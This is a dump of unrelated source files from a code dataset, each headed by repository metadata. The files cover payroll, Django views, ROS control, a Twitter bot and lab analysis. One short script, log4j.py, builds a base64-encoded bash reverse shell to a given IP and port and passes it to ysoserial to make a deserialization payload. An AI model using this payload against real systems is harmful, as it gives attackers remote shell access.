214b345dca75eb30cf6d1b15dca4381e00f58318 | d365ef1d86978270ac1df20efdba30c0c06d0a62 | /preprocessing/generate_two_hit.py | 8d69d7fa869412978202687459325c2043cf5488 | [] | no_license | lujonathanh/mutex | ac9c24316c1ae30de3467fce5f6869e0d37aa116 | 50dd444a3c6c0797667950fa1c5038faabc7ebc5 | refs/heads/master | 2020-12-15T21:32:34.822462 | 2016-06-20T20:41:34 | 2016-06-20T20:41:34 | 41,464,148 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,236 | py | __author__ = 'jlu96'
__author__ = 'jlu96'
"""Given a list of genes,
generate a list of genes and their copy-numbers."""
import sys
import csv
# read in the file
def get_parser():
# Parse arguments
import argparse
description = 'Given empirical gene mutation frequencies, generate a random mutat... | [
"jhlu@princeton.edu"
] | jhlu@princeton.edu |
7cdd8e007bc22f51a231b7ec3f258d116447346c | aca4cf4bb1bdef2ab69db7b2ae1fe12c04af2bfc | /Users/delegatealloc.py | cd539a69eceafb361fae56de4730b8cec7e4ac9e | [] | no_license | PatrickMcGuinness/delegate-tools | 0154cdd3fc2eba042775c4117a5b3421396d2a7e | b8654ff324dff2aa2e24aaaedc2a365727930632 | refs/heads/master | 2021-07-03T01:13:20.162801 | 2016-03-22T21:56:52 | 2016-03-22T21:56:52 | 48,651,387 | 0 | 0 | null | 2021-06-10T18:05:36 | 2015-12-27T16:09:31 | Python | UTF-8 | Python | false | false | 5,757 | py | #!/usr/bin/python
import sys
import curses
from operator import itemgetter
from delegaterules import *
#from readpolldata import *
statemap = { 'AL': 'Alabama', 'AK': 'Alaska', 'AR': 'Arkansas', 'GA': 'Georgia',
'HI': 'Hawaii', 'ID': 'Idaho', 'KS': 'Kansas',
'KY': 'Kentucky', 'LA': 'Louisiana... | [
"patmcguinness.phd@gmail.com"
] | patmcguinness.phd@gmail.com |
88d05efddc975407fb314b5486c42ded026b9c49 | 16c4ab33348361916ac99566a3de8a9c08c8ffc5 | /extra_apps/__init__.py | b8c8a59f4167fd637e987389ed883bc06fd623c7 | [
"Apache-2.0"
] | permissive | Palameng/ProjectSupportingSystem | bf4dc3d7212507b1abbed5d50c86150d465742ef | 8f9be803b1d2bbac0e32adf1b5ad4808e26503ae | refs/heads/master | 2021-09-05T15:48:34.667035 | 2018-01-29T12:12:54 | 2018-01-29T12:12:54 | 103,030,597 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 76 | py | # -*- coding: utf-8 -*-
__author__ = 'mengyuan'
__date__ = '2017/9/11 12:05' | [
"506357902@qq.com"
] | 506357902@qq.com |
549ad5623bc23154c244901bbf465508ae483cf7 | fdc751232f7e1bdf7d0afc12f9b11e8b5f7fd3ae | /move/src/test_ctrl_class.py | a4aeccfb00203d34dc9e49554206588a07c92009 | [] | no_license | tianyaoh/patrolling_basic | 615d48ecdeda89465e41c63c3ee7476b3083fa09 | ebdd7be15773da6c896a9fd904f80933b83b4114 | refs/heads/main | 2023-04-19T12:44:58.003513 | 2021-05-10T16:03:12 | 2021-05-10T16:03:12 | 340,202,479 | 0 | 0 | null | 2021-05-10T16:04:06 | 2021-02-18T23:14:28 | Python | UTF-8 | Python | false | false | 4,301 | py | #!usrbinenv python
import rospy
from geometry_msgs.msg import Twist
import time
# rospy.init_node('move_forward_publisher')
# frw_pub = rospy.Publisher('cmd_vel', Twist, queue_size=1)
# starting_time = rospy.Time.now()
# while not rospy.is_shutdown()
# twist = Twist()
# twist.linear.x = 0.2
# frw_pub.p... | [
"65034293+tianyaoh@users.noreply.github.com"
] | 65034293+tianyaoh@users.noreply.github.com |
6110d7d86503b01878af17b0f37d98e5097fece2 | f4b7d327581e500dc79079c834cc23af9939737e | /moonlight/models/base/glyph_patches.py | 263b33c17cd0a8a9c7f22e54295ce5b1953d0b75 | [
"LicenseRef-scancode-generic-cla",
"Apache-2.0"
] | permissive | abc3436645/moonlight | 095eea2b892528b9a3fe5d05af39e4a023c55628 | 7f8a3ab4e55570dd120e3965f8049dd866d12a6b | refs/heads/master | 2020-03-25T19:37:01.849371 | 2018-08-07T17:42:56 | 2018-08-07T17:42:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,031 | py | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | [
"ringwalt@google.com"
] | ringwalt@google.com |
f4cda7cfbff10e6395f8d6e6c27990edd2b63bb6 | 21f62465e981dcd4f9008845bc8882420a19a13e | /catalog/views.py | 9cdf7c07f8cf8025d4c2c40d7b4da82a6180a00b | [] | no_license | M-Pidlisnyi/carrent | 7674c51e170d64ef96960ffd708e43207c7ff54a | af169086db515cf50ead3bfec4fab5e968f1de96 | refs/heads/main | 2023-08-21T01:51:57.105224 | 2021-10-31T14:39:54 | 2021-10-31T14:39:54 | 404,853,562 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,661 | py | from django.db import connection
from django.shortcuts import render
from django.views import generic
from django.views.generic.edit import ModelFormMixin
from django.contrib.auth.mixins import LoginRequiredMixin
from .models import BodyStyle, Brand, Car, CarInstance
# Create your views here.
def index(request):
... | [
"mishapropatriot@gmail.com"
] | mishapropatriot@gmail.com |
0bd393951e50fc60477ac924c0d63f8423b99e55 | fd7adeb6292d397e6ff2a599184caba4764b7a07 | /type_demo.py | 805d6356d70be9c735014abe30dbf8c207c7eb9b | [] | no_license | anajera10/mis3640 | 6614dc1df7cbd96986aae5d25ce779a140c5f853 | b3f0e809e521959184ee58473a92968db3058b69 | refs/heads/master | 2020-07-15T11:52:07.948211 | 2016-10-03T02:42:55 | 2016-10-03T02:42:55 | 67,155,427 | 1 | 1 | null | 2016-10-04T22:10:13 | 2016-09-01T18:17:57 | Python | UTF-8 | Python | false | false | 280 | py | import time
print(time.time())
current=time.time()
seconds=current//60
minutes = (current//60) % 60
hours = (current//60)//60 %24
days = current//60//60//24
print('Current time: %d days, %d hours, %d minutes and %d seconds from Epoch.' % (days,hours,minutes,seconds))
| [
"anajera1@babson.edu"
] | anajera1@babson.edu |
cde0aad40d03ea9899b0f744cc12725d618b2812 | 7cfcc4bf9b2d63240615719e2b81759710e17cb5 | /twitter_bot.py | 773739d7beb90349bd08e581d0d7d965ef3d007d | [] | no_license | r3glus/4app | c168ea5cc682f74d28b0ec337a7a4dfdc24b156b | 60b7cb6578f426af1ffafbb134b8de9824e204f9 | refs/heads/master | 2020-12-05T16:38:16.149438 | 2020-03-18T15:58:01 | 2020-03-18T15:58:01 | 232,175,214 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,517 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import random
import time
import gspread
import schedule
from oauth2client.service_account import ServiceAccountCredentials
from twython import Twython, TwythonError, TwythonStreamer
print("Listening for tweets containing the hashtag")
APP_KEY = "kau... | [
"noreply@github.com"
] | r3glus.noreply@github.com |
e8c4fe4fed8dad5083d035e6827ae056a6b8a943 | 739972eef4848f757b42acf2e29ebfe94a00d57b | /build/learning_service/catkin_generated/pkg.installspace.context.pc.py | 2167ee1ea8e826d2ab4ad97080a496b84a503ea8 | [] | no_license | sxs505/Logistics-car-rplidar | 5a01b5bc256de350579d41b87dc1d0c8da18c5c0 | 0baa4c7dd4e12f2df4a3b0434afbd4aeab7b94c9 | refs/heads/main | 2023-04-03T10:48:53.566195 | 2021-04-14T03:16:49 | 2021-04-14T03:16:49 | 338,500,084 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 389 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "learning_service"
PROJECT_SPACE_DIR =... | [
"51873335+sxs505@users.noreply.github.com"
] | 51873335+sxs505@users.noreply.github.com |
1c826dd9083be24361ca5ba352a9ebe31ae329f1 | fced880ea501c2eb69edbf9f9ee8286f3a6f3899 | /account/urls.py | 9e8fc581091e0872f0695627f7c88d28bf65e985 | [] | no_license | Oluwaniphise/Qna | 37cd3919bd0d5d09e6854d8af4a3f92a9ca06014 | c43976f73f3133fe0f7a03b5f333a2c85f1d0f4c | refs/heads/master | 2023-04-26T13:44:38.786201 | 2020-11-30T08:22:02 | 2020-11-30T08:22:02 | 308,851,239 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 396 | py | from django.urls import path
from . import views
from django.contrib.auth import views as auth_views
urlpatterns = [
path('registration/', views.register, name='register'),
path('login/', views.user_login, name="login"),
path('logout/', auth_views.LogoutView.as_view(template_name="account/logout.html"), n... | [
"oduyaleenoch@gmail.com"
] | oduyaleenoch@gmail.com |
04b61e88739ffadc8d675c0b4f576b5f7122eb69 | 576cc83449e10fd3f98281970c46016ea7a5aea2 | /OpenCV相机标定/CalibrationTest.py | 658370ca975416804ff63dff37187d3bdaa30be3 | [] | no_license | HotView/PycharmProjects | 215ab9edd341e3293daebcf86d97537f8cd28d75 | 61393fe5ba781a8c1216a5cbe7e0d06149a10190 | refs/heads/master | 2020-06-02T07:41:53.608742 | 2019-11-13T08:31:57 | 2019-11-13T08:31:57 | 191,085,178 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 2,778 | py | import cv2
import numpy as np
import glob
# termination criteria
criteria = (cv2.TERM_CRITERIA_EPS+cv2.TERM_CRITERIA_MAX_ITER,30,0.001)
# prepare objects points,like(0,0,0),(1,0,0),(2,0,0),....,(6,5,0)
objp = np.zeros((6*7,3),np.float32)
objp[:,:2] = np.mgrid[0:7,0:6].T.reshape(-1,2)
# Arrays to store object points an... | [
"864773190@qq.com"
] | 864773190@qq.com |
ad3d49da1f96ec35902d7ff0d230fa6096b9aa03 | 6e02de993bb3b732917e050ce5b1def91d8793e5 | /chapter5/P06.py | ee13034b44b08062322f63dccc441a645e018670 | [] | no_license | AKATSUKIKOJYO/MyPython | 0d7d9047ef8ead500e478d14eed8f6ed7ef61499 | 4ab35c46972fc77a6b8af0410061a84e53e5b55c | refs/heads/master | 2020-04-11T15:12:36.996625 | 2018-12-29T07:53:59 | 2018-12-29T07:53:59 | 161,883,486 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 209 | py | year = int(input("연도를 입력하세요:" ))
if year % 4 == 0 and year % 100 !=0 or year % 400 == 0:
print ("입력한", year, "는 윤년입니다.")
else:
print("윤년이 아닙니다.")
| [
"noreply@github.com"
] | AKATSUKIKOJYO.noreply@github.com |
3213770d3cda61d88024781056c3c6c001116e1f | c4cd7c5971c4b889d638fe70c52c53a5800b1bfa | /NS3-Assignment/plot/plot2c.py | 2b90f96bf1c86dbfed6a42542038bd0deeee8bc9 | [] | no_license | AkshitKumar/EE5150 | 59893f9c5efc61e75328872364d4e7a2cde7ad3f | 806fe73cb939e9766dad58c3a3de93390bece595 | refs/heads/master | 2021-09-15T04:02:11.903235 | 2018-05-25T09:42:48 | 2018-05-25T09:42:48 | 102,965,182 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | import matplotlib.pyplot as plt
import numpy as np
data = np.loadtxt('../data/distance.txt')
data = np.transpose(data)
y_axis = data[1]
x_axis = data[0]
plt.figure()
plt.plot(x_axis,y_axis,x_axis,y_axis,'bx')
plt.xticks(x_axis)
plt.xlabel(r'Distance between AP and Client (in meters)')
plt.ylabel(r'Throughput (in Mbp... | [
"akshitkumar100@gmail.com"
] | akshitkumar100@gmail.com |
86dbc216f00b25140e5fd984ac271fd810b3caec | b1270c4179f18f83edcf8be7720454614a551b45 | /so_RQ/code/lib/load_data.py | e67ad6c7d521ab3866cca71c0f0a88ad1ad0fae1 | [] | no_license | WISDelft/SODA | f3e4059a2f41cb0cd0516215bcddf62f62683505 | 04484b34d4f25999b515e3fb239850c0bdae7ccd | refs/heads/master | 2021-01-17T08:53:39.159344 | 2015-02-03T13:51:45 | 2015-02-03T13:51:45 | 17,405,793 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,888 | py | import string
import psycopg2
import sys
import pickle
import os
import numpy as np
import copy
con = None
con = psycopg2.connect(database='stackquestionstest', user='postgres', password='wistudelft')
cur = con.cursor()
cur.execute('SELECT version()')
ver = cur.fetchone()
'''
load training data
'''
def load_train_dat... | [
"yangjiera@gmail.com"
] | yangjiera@gmail.com |
d7dd88ecf67ac7b20922fbc9779a463ad3cd8297 | a6610e191090e216b0e0f23018cecc5181400a7a | /robotframework-ls/src/robotframework_ls/constants.py | c6291b1baf57cfc01ddad6b1554e8002b7fe2a95 | [
"Apache-2.0"
] | permissive | JohanMabille/robotframework-lsp | d7c4c00157dd7c12ab15b7125691f7052f77427c | 610f0257fdcd79b8c38107a0ecf600f60160bc1f | refs/heads/master | 2023-01-19T10:29:48.982578 | 2020-11-25T13:46:22 | 2020-11-25T13:46:22 | 296,245,093 | 0 | 0 | NOASSERTION | 2020-09-17T06:58:54 | 2020-09-17T06:58:53 | null | UTF-8 | Python | false | false | 74 | py | from robocorp_ls_core.constants import *
DEFAULT_COMPLETIONS_TIMEOUT = 4
| [
"fabiofz@gmail.com"
] | fabiofz@gmail.com |
28d4e8968c3ade8c5ecaaed6f28d428d6364b196 | f97441152ad92e6910646a978b047001044160d9 | /beam_energy_norm_classic/mor.py | 931d2bb945a7a2b621335797459840ac54d1fcf6 | [] | no_license | babakmaboudi/shared_projects | 59f284888481655d321295b4b9f2cc5cc58635af | ceb5fe7f77103cde0fc7d56747c59f43252f2d00 | refs/heads/master | 2021-01-21T10:13:41.982448 | 2019-02-27T15:27:02 | 2019-02-27T15:27:02 | 91,682,959 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,385 | py | import numpy as np
import matplotlib.pyplot as plt
class Mor:
def __init__( self ):
self.snap_Q = np.load("snap_Q.dat")
self.snap_P = np.load("snap_P.dat")
self.X = np.load("X_mat.dat")
# self.X = np.load("X_mat_eye.dat")
def set_basis_size(self,k):
self.rb_size = k
def POD_energy(self):
snaps = np.app... | [
"babak.maboudi@gmail.com"
] | babak.maboudi@gmail.com |
63d89643b7725000994b68b096f4066c0cdc2c7e | 2bdab4847a02879af352ba183ab81761c4d2eb48 | /tools/build.py | 488efa01d795610763160e30f9b01f0b56868db0 | [] | no_license | foxoman/amiri-typewriter | 5f20f965d1179e1eb58cfdb66cd1da9989f9a8c0 | 89e3c3e4715ce6c5123ef442069f87c71cb231b3 | refs/heads/master | 2021-01-01T19:07:49.924088 | 2017-07-21T23:10:54 | 2017-07-21T23:10:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,050 | py | #!/usr/bin/env python2
# encoding: utf-8
from __future__ import division
import argparse
import math
from datetime import datetime
from sortsmill import ffcompat as fontforge
def zeromarks(font):
"""Since this is a fixed width font, we make all glyphs the same width (which allows
us to set isFixedPitch bit i... | [
"khaledhosny@eglug.org"
] | khaledhosny@eglug.org |
65bbcaa81382c14af30276de4d3df87f8de28291 | 693d6d64877311a6a9f21a82b551599a3b540410 | /Lab10/lab10.py | 0b87c4ee2ceab777c4c6619f9cb9b945cf80ee8b | [] | no_license | dalbyryan3/me-en-4650-tfes-lab | e01a0d8ae76897e01d03d95c72e3e470adfd7c3d | 0377cd8bae3af443a800225581a81ff5bc1e6c60 | refs/heads/main | 2023-08-14T13:07:15.475498 | 2021-09-24T05:01:40 | 2021-09-24T05:01:40 | 409,836,915 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,777 | py | # %%
# ME EN 4650 Lab10:Heat Exchanger Lab Ryan Dalby
import numpy as np
from numpy import random
import pandas as pd
import matplotlib.pyplot as plt
from pathlib import Path
from pandas.plotting import table
import os
import matlab.engine # Must install from matlab installation direcotry using: cd "mat... | [
"dalbyryan3@gmail.com"
] | dalbyryan3@gmail.com |
b30f1b39fb3a2a1a6d9299203f6c492cd0e9aa87 | a7ca0a372a44bc9cee59a7e1e59734a4814a59b9 | /이것이코딩테스트다/병사배치하기.py | 8b38d29927c9fad4814ed5bac88c39daec9c4d28 | [] | no_license | schw240/Preparing-coding-test | 435d6dbdcf90fc8c0c408dfa032ad7f09fdc5a90 | 758a41270c409312a998152c5298369ec385bfdb | refs/heads/master | 2021-11-29T07:54:05.140178 | 2021-10-03T11:40:36 | 2021-10-03T11:40:36 | 245,345,693 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 510 | py | N = int(input())
scores = list(map(int, input().split(' ')))
scores.reverse()
# 병사를 배치할 때 전투력이 높은 병사가 앞으로 오도록 내림차순 배치
# 이때 정렬을 쓰는게 아니라 열외를 쓰는 방법으로 배치
dp = [1] * N
# 남아있는 병사의 수가 최대가 되도록 하기 위해 열외시켜야 하는 병사의 수
for i in range(1, N):
for j in range(i):
if scores[j] < scores[i]:
dp[i] = max(dp[i], d... | [
"schw240@gmail.com"
] | schw240@gmail.com |
eb440733e5de667ecb21c9860f15bbc52c7d7366 | f773c3b31707bedd58f800c2ae2c4fd9504460cf | /ScrapyDemo/ScrapyDemo/spiders/XiCiDaiLiSpider.py | 5d77a4688a36e3112222b49df5b6bad8b42e18a5 | [] | no_license | Cat7373/ScrapyDemo | 30a4a2b66d8cea858d51ddaa2e15cc7373897408 | 87a93478afc6002d03464a7d1535697ac4726818 | refs/heads/master | 2020-05-16T15:43:51.183233 | 2017-06-22T04:40:47 | 2017-06-22T04:40:47 | 183,141,268 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,687 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import scrapy
from scrapy import Request
from ..items import Proxy
class XiCiDaiLiSpider(scrapy.Spider):
"""
自动爬取 xicidaili.com 的代理
"""
# 代理名称
name = 'XiCiDaiLiSpider'
# 网站的根地址
host = 'http://www.xicidaili.com'
# 允许爬虫爬取的域列表
allowed_do... | [
"cat73@cat73.org"
] | cat73@cat73.org |
6e4897a69468c53e347c54d03532fa30233fa3d1 | a2f16f2c29474a10ab87996185b4c459c48f2e93 | /login.py | 04689cf1142e9bde76233abf0b03899b72ee1326 | [] | no_license | Karmi-Makadia/Hostel-management-system | cc4788165c01d2d21f56b7e9ccea3515e0f1fd02 | 6803df642ff4cd3d93949231a115f8cd56cbf127 | refs/heads/main | 2023-06-04T14:30:41.568270 | 2021-06-25T09:13:47 | 2021-06-25T09:13:47 | 380,185,231 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,345 | py | import tkinter as tk
from tkinter import *
from tkinter import ttk
from hostel import *
class login:
u='root'
p='qwerty1234'
def __init__(self,rt):
self.rt=rt
self.rt.geometry('500x500')
self.rt.title("Login Page")
frame= LabelFrame(self.rt,wid... | [
"noreply@github.com"
] | Karmi-Makadia.noreply@github.com |
708ada4d0f94700d42c94e96b325d3809207ea80 | af7e99aad75dcf48332e9ed1119d4d385ffcb685 | /log4j.py | e1bf14c49cfea8950700c9e1737f9dd3ae9a7845 | [] | no_license | god0304/log4j | a0c22ff15b8c844b1b1b8b18155659d4a7b2a886 | 180796b5d1d38581d7a5fc14a50cc10b0d414f68 | refs/heads/master | 2022-11-08T18:14:38.775526 | 2020-07-02T15:02:24 | 2020-07-02T15:02:24 | 276,675,547 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 464 | py | #usage:
#python log4j ip port
#IP为主机IP
#port为监听的端口
#须将该文件与ysoserial-master.jar放在同一文件夹下执行
import os
import base64
import sys
ip = sys.argv[1]
port = sys.argv[2]
test = 'bash -i>& /dev/tcp/%s/%s 0>&1'%(ip,port)
test_base64 = base64.b64encode(test)
payload = 'bash -c {echo,'+test_base64+'}|{base64,-d}|{bash,-i}'
cmd = ... | [
"noreply@github.com"
] | god0304.noreply@github.com |
a499b9a33ae73e6261dc5b49dd07438ca76ae38c | 0217412414848aa75031fabe17053a1b64577d66 | /Easy/235_easy_lowest-common-ancestor-of-a-binary-search-tree.py | 0be1b5930417732c1cd79c21d84b93f57fc3ef61 | [] | no_license | sarahgonsalves223/DSA_Python | b164e7118f1ba6463b2dfb4ce20a407fd26172b2 | 8e116c21f91c87a9dc8526d8be93c443e79469bf | refs/heads/master | 2020-07-05T00:50:43.743785 | 2019-11-21T01:26:06 | 2019-11-21T01:26:06 | 202,474,629 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,020 | py | #
# @lc app=leetcode id=235 lang=python
#
# [235] Lowest Common Ancestor of a Binary Search Tree
#
# https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/description/
#
# algorithms
# Easy (45.72%)
# Total Accepted: 302.8K
# Total Submissions: 662.4K
# Testcase Example: '[6,2,8,0,4,7,9,null,... | [
"sarahgonsalves223@Sarahs-MacBook-Pro.local"
] | sarahgonsalves223@Sarahs-MacBook-Pro.local |
3a7db8d10da5e46182cefd5b90049a0fe9e5e7ea | 7466867c7d1fe8e3f51db27734513d9dcced8be9 | /predictor/predictor.py | b2394239115d608d16365cc2efce34edd6dbf35f | [] | no_license | china-liweihong/Recommendation_system-CareerVillage.org- | a1eaacfe5caba2c9bb8c0e430469ca540550a11b | d0301951fa35513f2cd449a5f81f882fa0a1fc0d | refs/heads/master | 2022-04-11T14:36:09.175234 | 2020-03-21T18:53:01 | 2020-03-21T18:53:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,279 | py | import pandas as pd
import numpy as np
import keras
import os
from sklearn.neighbors import KDTree
from preprocessors.queproc import QueProc
from preprocessors.proproc import ProProc
from utils.utils import TextProcessor
import pickle
import psutil
DUMP_PATH = 'dump'
tp = TextProcessor()
class Predictor:
"""
... | [
"fy_zadi@esi.dz"
] | fy_zadi@esi.dz |
9915b01a6a3ab3093a9f6fb7167c27b84ddebc0b | 938e618517113016d10aa401a987a58f445bdf84 | /game.py | 17dab103dd140660efeb1473e579440aa621414a | [] | no_license | divyeshbalar/PythonWordGame | 8081a2aea998403129efd7a8d85579ee4ca52fa1 | c3f7214b770460b15b444b0acc36c294841c19cd | refs/heads/master | 2020-05-24T18:03:39.971339 | 2019-06-07T19:07:40 | 2019-06-07T19:07:40 | 187,401,415 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,465 | py | import math
import random
import PythonWordGame.stringDb as stringDb
class game:
"""
@author: Divyeshkumar Balar(40062267)
Class game is main blueprint of game data structure;
which includes a static list with the frequency of each character.
It also include helper methods
"""... | [
"divyeshkumar_balar@outlook.com"
] | divyeshkumar_balar@outlook.com |
acb5246b57c491991154128c84af2f4c07e2a5d5 | 758c7be672c044613b6ef4d661288150e3e2c960 | /Appliance_app/views.py | 59f3c74e773b09620cbac61faaaf6bfca87f2c39 | [] | no_license | ttovely/Appliance | e637007843045ab6304970ea26e7b7fc2607a564 | dd7a3b8a9b18e7e68129d7b062bc17ccc93244fe | refs/heads/master | 2023-08-02T09:57:53.301698 | 2021-09-29T08:59:18 | 2021-09-29T08:59:18 | 411,601,033 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,538 | py | from .models import Category, Appliances
from .serializers import CategorySerializer, AppliancesSerializer, CommentSerializer
from rest_framework.viewsets import ModelViewSet
from rest_framework.permissions import IsAuthenticated, IsAuthenticatedOrReadOnly
from rest_framework.decorators import action
from rest_framewo... | [
"bagievavttovely@gmail.com"
] | bagievavttovely@gmail.com |
f047ba14d4aa661c9fc681be9b3cea0e8dbdbc32 | 263c79fd1d8541f0cf0b5dd9ed1c5e8acd463556 | /Quantum-Control-Applications/Optically addressable spin qubits/Cryogenic nanophotonic cavity/calibrate_delays.py | 72d431fb6ccdd22f4a7fc2968c16a840c0982136 | [
"BSD-3-Clause"
] | permissive | qua-platform/qua-libs | d929681da67fa4e88e96d0f96eef19034146a039 | 245bdeb625e2e64005962a02dcb58d3441e6afc6 | refs/heads/main | 2023-09-01T06:04:57.665500 | 2023-08-29T15:01:47 | 2023-08-29T15:01:47 | 293,225,951 | 45 | 13 | BSD-3-Clause | 2023-09-05T08:09:32 | 2020-09-06T07:29:42 | Python | UTF-8 | Python | false | false | 3,459 | py | """
calibrate_delays.py: Plays a MW pulse during a laser pulse, while performing time tagging throughout the sequence.
This allows measuring all the delays in the system, as well as the NV initialization duration.
If the counts are too high, the program might hang. In this case reduce the resolution or use
calibrate_de... | [
"noreply@github.com"
] | qua-platform.noreply@github.com |
c6e82994fe46b9592e04334480b1f29f27c8139e | 6aa6fbb3f3d971d3a0217b94c9a8e26a417f6758 | /core/layout/strategy/HorizontalStrategy.py | acbeafc94a31908cd085e6d1154f9aa0192464d4 | [
"MIT"
] | permissive | BboyHanat/TextGenerator | 25a52e484331d84328ea3620b0973d0ba9c4eb5d | 7e4ec737fbf4f6031d0c28a2c0f6cff662792a76 | refs/heads/master | 2022-03-27T11:58:15.940730 | 2022-03-01T06:32:09 | 2022-03-01T06:32:09 | 209,213,635 | 187 | 53 | null | 2020-05-13T06:56:29 | 2019-09-18T03:58:09 | Python | UTF-8 | Python | false | false | 661 | py | from core.layout.strategy import Strategy
class HorizontalStrategy(Strategy):
"""
只生成一个水平排布的文本贴图布局
"""
def logic(self, block_group, next_block) -> bool:
init_x = block_group.group_box[0]
init_y = block_group.group_box[1]
next_x = init_x
next_y = init_y
for blo... | [
"lijianan@tezign.com"
] | lijianan@tezign.com |
a3a700cace9dcfd1645f568a0f67b220c0a09d47 | 02c6202622850be6ca2a4d088cd8b6005d3bc8a1 | /nomina_helper_processor.py | 0c5f16b7d586291ff50912301ebaa71a5bc6f6de | [] | no_license | danielcelin/nomina_helper | 65fd0423fdff5f2591713b7895fc1b19fa56d768 | 5eaa5fb2bfe902a77876467f05188c5d8d6fc05c | refs/heads/master | 2021-01-22T10:15:04.069029 | 2015-11-12T15:56:14 | 2015-11-12T15:56:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,639 | py | """
NominaHelper v3.0
Programa para calcular la nomina de una empresa. Lee los nombres y salarios desde un archivo de texto
que se suministra como argumento de linea de comandos, por ejemplo, nombres.txt. Al final guarda la liquidacion
en el archivo liquidacion.txt, el registro de errores en errores.txt y el registro ... | [
"tdp201503@gmail.com"
] | tdp201503@gmail.com |
cb4d004c16b1c2d9d572c6366e253777db1067fb | 7a0d58b578c8346f45cecbac2fb26d44c20b499f | /BrubotServer/Interface/migrations/0003_auto_20181004_1127.py | 83a37ef26beab722e543a46311080b081964c9d3 | [] | no_license | bro-wer/brubot_server | e8d843cb27aa8b12d780038ccdd643721e7e5b19 | d203145836cc87568cc1b4ba6b6cdc04cc653229 | refs/heads/master | 2020-03-30T20:07:30.600144 | 2018-10-08T10:56:18 | 2018-10-08T10:56:18 | 151,574,079 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 556 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.13 on 2018-10-04 09:27
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Interface', '0002_task_status'),
]
operations = [
migrations.AlterField(
... | [
"bronislaw.werla@gft.com"
] | bronislaw.werla@gft.com |
c27aad2901a9f0422a24a7ad7838f5d4c3a0c1e5 | 24180ecc26262c952cdf9da0ba062bfb1d3f5126 | /04/02.for.py | 9338b08c8ff50897a40e6368e60ccf8b89b95123 | [] | no_license | whwndgus001/python-basics | d3d380268994c1ec2de93c1734db480116331485 | b92e167261c876e762127bc60bd40071257c1d0f | refs/heads/master | 2022-12-26T03:04:16.218402 | 2020-10-05T06:48:11 | 2020-10-05T06:48:11 | 290,401,474 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,426 | py | # for 반복문
# for in [sequnce 객체] :
for number in [10, 20, 30, 40] :
result = number**2
print (result, '----', end=' ')
else:
print('')
a = ['cat', 'cow', 'tiger']
for animal in a:
print(animal, end=' ')
else:
print('')
# 복합 자료형을 for문에서 사용하는 경우
l = [('둘리', 10), ('마이콜', 30),('또치', 11)]
for t in l... | [
"whwndgus0000@naver.com"
] | whwndgus0000@naver.com |
a52dfaac37bcd5fa128652b84d5b4b9904f40414 | 1974b3e9c5f2f677833e1608a41281f377fd331c | /dltesthttp_xuyalin2/www/testcase/dlmall/ts_couponx/getUseFulCoupons.py | e7f7c5c587deb28ea48f702a15f9161b6113a024 | [] | no_license | xyl00755/pythonLearning | ed0f540b61247c3560f347853da5886b2e2ba25d | c6aecff86ff34dcd7358d98201627ff84e9bf2cf | refs/heads/master | 2021-01-13T08:19:25.171016 | 2016-12-16T05:43:10 | 2016-12-16T05:43:10 | 71,764,553 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,696 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import unittest
from www.api.dlmall import *
from www.common.excel import *
from www.common.database import *
"""
/couponx/getUseFulCoupons.html
request:
get
http://123.57.244.205:9003/couponx/getUseFulCoupons.html?goodsId=f4bccbbd84e44f9ba839e082970dccca%2C9c02bcf9737d4... | [
"xuyalin@danlu.com"
] | xuyalin@danlu.com |
54a7a9643b787b5bc24f6ee402a26926bdf4aa36 | d34db2a5d96cd155f9e6fef1db0ac697c28ee527 | /ToDo_App/my_app/todo_list/migrations/0001_initial.py | 4431d1886c465192e8aec5f39177ef42fd74f2a5 | [] | no_license | sinyinglee/Pyclass-2019- | 5e69d56009543353db0f9deb576a17e1f4ca23df | c48c42f68512da6457c2453fd2ce0e15a063bf83 | refs/heads/master | 2020-08-04T19:00:08.331930 | 2020-04-28T15:54:03 | 2020-04-28T15:54:03 | 212,241,029 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 551 | py | # Generated by Django 3.0.1 on 2019-12-22 05:20
